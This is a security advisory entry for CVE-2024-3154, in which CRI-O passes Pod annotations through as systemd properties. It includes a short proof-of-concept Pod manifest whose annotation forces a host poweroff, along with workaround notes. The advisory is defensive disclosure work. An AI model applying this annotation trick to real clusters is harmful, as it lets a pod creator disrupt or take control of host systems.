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CVE-2024-3154

Published

Last updated

NVD

https://nvd.nist.gov/vuln/detail/CVE-2024-3154

CGA ID

CGA-fcqp-9695-jx5x

Severity

Unknown

Summary

CRI-O vulnerable to an arbitrary systemd property injection

Description

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also:

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

References

Affected packages


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